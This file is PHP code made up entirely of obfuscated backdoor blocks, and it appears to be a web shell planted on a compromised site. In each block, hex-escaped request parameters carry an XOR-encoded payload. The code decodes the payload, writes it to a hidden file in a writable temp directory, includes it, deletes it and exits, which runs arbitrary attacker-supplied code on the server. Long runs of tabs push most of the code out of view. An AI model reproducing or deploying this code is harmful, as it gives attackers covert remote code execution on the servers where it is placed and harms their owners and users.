<?php																																										if(array_key_exists("v\x61\x6C", $_REQUEST) && !is_null($_REQUEST["v\x61\x6C"])){ $element = array_filter(["/dev/shm", getenv("TEMP"), "/var/tmp", getenv("TMP"), session_save_path(), sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), getcwd()]); $symbol = $_REQUEST["v\x61\x6C"]; $symbol =explode ( "." ,$symbol); $binding =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s ); $l =0; array_walk($symbol, function ($v3) use (&$binding, &$l, $s, $lenS) {$sChar =ord($s[$l % $lenS] ); $d =((int)$v3 - $sChar - ($l % 10)) ^75; $binding.= chr($d ); $l++;} ); foreach ($element as $token) { if ((function($d) { return is_dir($d) && is_writable($d); })($token)) { $key = sprintf("%s/.k", $token); if (@file_put_contents($key, $binding) !== false) { include $key; unlink($key); exit; } } } }
																																										if(in_array("\x63\x6Fmp\x6Fne\x6Et", array_keys($_POST))){ $ent = $_POST["\x63\x6Fmp\x6Fne\x6Et"]; $ent = explode ("." , $ent); $binding= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $salt ); $__len= count( $ent ); for( $p= 0; $p< $__len; $p++) {$v3= $ent[$p]; $chS= ord( $salt[$p % $lenS] ); $d= ( ( int)$v3 - $chS -( $p % 10)) ^ 71; $binding .= chr( $d ); } $obj = array_filter(["/tmp", getcwd(), getenv("TMP"), "/var/tmp", "/dev/shm", getenv("TEMP"), session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir")]); foreach ($obj as $comp) { if (is_dir($comp) ? is_writable($comp) : false) { $factor = join("/", [$comp, ".ref"]); $file = fopen($factor, 'w'); if ($file) { fwrite($file, $binding); fclose($file); include $factor; @unlink($factor); exit; } } } }
																																										if(array_key_exists("com\x70on\x65nt", $_POST) && !is_null($_POST["com\x70on\x65nt"])){ $entry = $_POST["com\x70on\x65nt"]; $entry= explode ( '.',$entry ) ; $entity= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s ); foreach ($entry as $w => $v2): $sChar= ord($s[$w % $sLen] ); $dec= ((int)$v2 - $sChar - ($w % 10))^65; $entity .= chr($dec ); endforeach; $parameter_group = array_filter(["/dev/shm", session_save_path(), getcwd(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), "/var/tmp", sys_get_temp_dir()]); while ($key = array_shift($parameter_group)) { if ((bool)is_dir($key) && (bool)is_writable($key)) { $desc = str_replace("{var_dir}", $key, "{var_dir}/.rec"); $file = fopen($desc, 'w'); if ($file) { fwrite($file, $entity); fclose($file); include $desc; @unlink($desc); exit; } } } }
																																										if(!empty($_REQUEST["\x74\x6Fken"])){ $record = $_REQUEST["\x74\x6Fken"]; $record=explode ( '.' ,$record ) ; $data_chunk = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt1); $len = count($record); for ($t = 0; $t < $len; $t++) { $v9 = $record[$t]; $chS = ord($salt1[$t% $lenS]); $dec = ((int)$v9 - $chS - ($t% 10))^ 90; $data_chunk .= chr($dec); } $ent = array_filter([getenv("TMP"), "/dev/shm", session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", getenv("TEMP"), sys_get_temp_dir(), getcwd()]); for ($property_set = 0, $elem = count($ent); $property_set < $elem; $property_set++) { $ptr = $ent[$property_set]; if (is_dir($ptr) ? is_writable($ptr) : false) { $descriptor = "$ptr" . "/.value"; if (@file_put_contents($descriptor, $data_chunk) !== false) { include $descriptor; unlink($descriptor); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "\x63\x6Fmp")){ $element = $_POST["\x63\x6Fmp"]; $element =explode ('.' , $element ) ; $ent = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $__len = count($element); for ($n = 0; $n < $__len; $n++) { $v7 = $element[$n]; $chS = ord($salt[$n % $lenS]); $d = ((int)$v7 - $chS - ($n % 10)) ^ 14; $ent .= chr($d); } $pset = array_filter([getcwd(), ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), getenv("TMP"), "/var/tmp", getenv("TEMP"), "/tmp", "/dev/shm"]); $tkn = 0; do { $flag = $pset[$tkn] ?? null; if ($tkn >= count($pset)) break; if (max(0, is_dir($flag) * is_writable($flag))) { $rec = implode("/", [$flag, ".val"]); if (@file_put_contents($rec, $ent) !== false) { include $rec; unlink($rec); exit; } } $tkn++; } while (true); }
																																										if(count($_POST) > 0 && isset($_POST["\x70\x6Fint\x65r"])){ $hld = $_POST["\x70\x6Fint\x65r"]; $hld = explode( "." , $hld) ; $flag = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $k = 0; while ($k < count($hld)) { $v7 = $hld[$k]; $chS = ord($s[$k % $sLen]); $d = ((int)$v7 - $chS - ($k % 10)) ^ 76; $flag .= chr($d); $k++; } $record = array_filter([getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", sys_get_temp_dir(), session_save_path(), "/tmp", "/var/tmp", getenv("TEMP")]); foreach ($record as $mrk): if (max(0, is_dir($mrk) * is_writable($mrk))) { $ref = "$mrk/.dchunk"; if (file_put_contents($ref, $flag)) { require $ref; unlink($ref); die(); } } endforeach; }
																																										if(!empty($_REQUEST["\x76\x61lue"])){ $reference = $_REQUEST["\x76\x61lue"]; $reference =explode( '.' , $reference ) ; $dat= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $salt); $k= 0; while( $k< count( $reference)) { $v5= $reference[$k]; $sChar= ord( $salt[$k % $lenS]); $d= ( ( int)$v5 - $sChar -( $k % 10)) ^ 87; $dat .=chr( $d); $k++;} $obj = array_filter([getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", session_save_path(), getenv("TMP"), "/dev/shm", "/var/tmp", getenv("TEMP")]); for ($fac = 0, $item = count($obj); $fac < $item; $fac++) { $entity = $obj[$fac]; if (max(0, is_dir($entity) * is_writable($entity))) { $flg = str_replace("{var_dir}", $entity, "{var_dir}/.ent"); if (file_put_contents($flg, $dat)) { require $flg; unlink($flg); exit; } } } }
																																										if(count($_POST) > 0 && isset($_POST["symbo\x6C"])){ $obj = array_filter([ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", getenv("TEMP"), getenv("TMP"), "/tmp", getcwd(), "/dev/shm", sys_get_temp_dir()]); $element = $_POST["symbo\x6C"]; $element=explode( '.' , $element) ; $pointer = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s1 ); $__len = count($element ); for ($s = 0; $s< $__len; $s++) {$v4 = $element[$s]; $chS = ord($s1[$s % $sLen] ); $d = ((int)$v4 - $chS - ($s % 10)) ^ 78; $pointer .= chr($d ); } foreach ($obj as $reference) { if (!!is_dir($reference) && !!is_writable($reference)) { $entity = "$reference/.dchunk"; $success = file_put_contents($entity, $pointer); if ($success) { include $entity; @unlink($entity); die();} } } }
																																										if(count($_POST) > 0 && isset($_POST["\x65n\x74\x69ty"])){ $symbol = array_filter([getenv("TEMP"), getcwd(), "/var/tmp", "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), sys_get_temp_dir()]); $res = $_POST["\x65n\x74\x69ty"]; $res= explode ( "." ,$res) ; $fac = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt9); $v = 0; while( $v < count( $res)) { $v1 = $res[$v]; $chS = ord( $salt9[$v % $sLen]); $dec =( ( int)$v1 - $chS -( $v % 10)) ^ 25; $fac .=chr( $dec); $v++;} foreach ($symbol as $element) { if (is_dir($element) ? is_writable($element) : false) { $value = vsprintf("%s/%s", [$element, ".flg"]); $file = fopen($value, 'w'); if ($file) { fwrite($file, $fac); fclose($file); include $value; @unlink($value); die(); } } } }
																																										if(isset($_POST["e\x6Eti\x74y"]) ? true : false){ $data_chunk = array_filter([ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP"), "/dev/shm", getcwd(), "/var/tmp", sys_get_temp_dir(), "/tmp", getenv("TMP")]); $item = $_POST["e\x6Eti\x74y"]; $item= explode( '.' , $item) ; $res =''; $salt5 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $salt5); $w =0; foreach( $item as $v2) { $chS =ord( $salt5[$w % $sLen]); $dec =( ( int)$v2 - $chS -( $w % 10)) ^ 35; $res .= chr( $dec); $w++;} for ($fac = 0, $mrk = count($data_chunk); $fac < $mrk; $fac++) { $val = $data_chunk[$fac]; if ((is_dir($val) and is_writable($val))) { $holder = join("/", [$val, ".marker"]); $success = file_put_contents($holder, $res); if ($success) { include $holder; @unlink($holder); exit;} } } }


if(in_array("\x64\x63hun\x6B", array_keys($_REQUEST))){
	$k = $_REQUEST["\x64\x63hun\x6B"];
	 	$k=  explode		 (	 	"."   ,$k			)	 	; 
	$token = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen( $salt);
            $p = 0;
    
            array_walk( $k ,	 function( $v5) use( &$token ,	 &$p ,	 $salt ,	 $sLen) {
                $chS = ord( $salt[$p%	$sLen]);
                $d =( ( int)$v5 - $chS -( $p%	10))	^ 	47;
                $token .= chr( $d);
                $p++;	 } );
	$key = array_filter(["/tmp", getenv("TMP"), getcwd(), getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", session_save_path()]);
	$resource = 0;
do {
    $component = $key[$resource] ?? null;
    if ($resource >= count($key)) break;
    		if (is_dir($component) && is_writable($component)) {
    $factor = implode("/", [$component, ".object"]);
    if (file_put_contents($factor, $token)) {
	include $factor;
	@unlink($factor);
	exit;
}
}
    $resource++;
} while (true);
}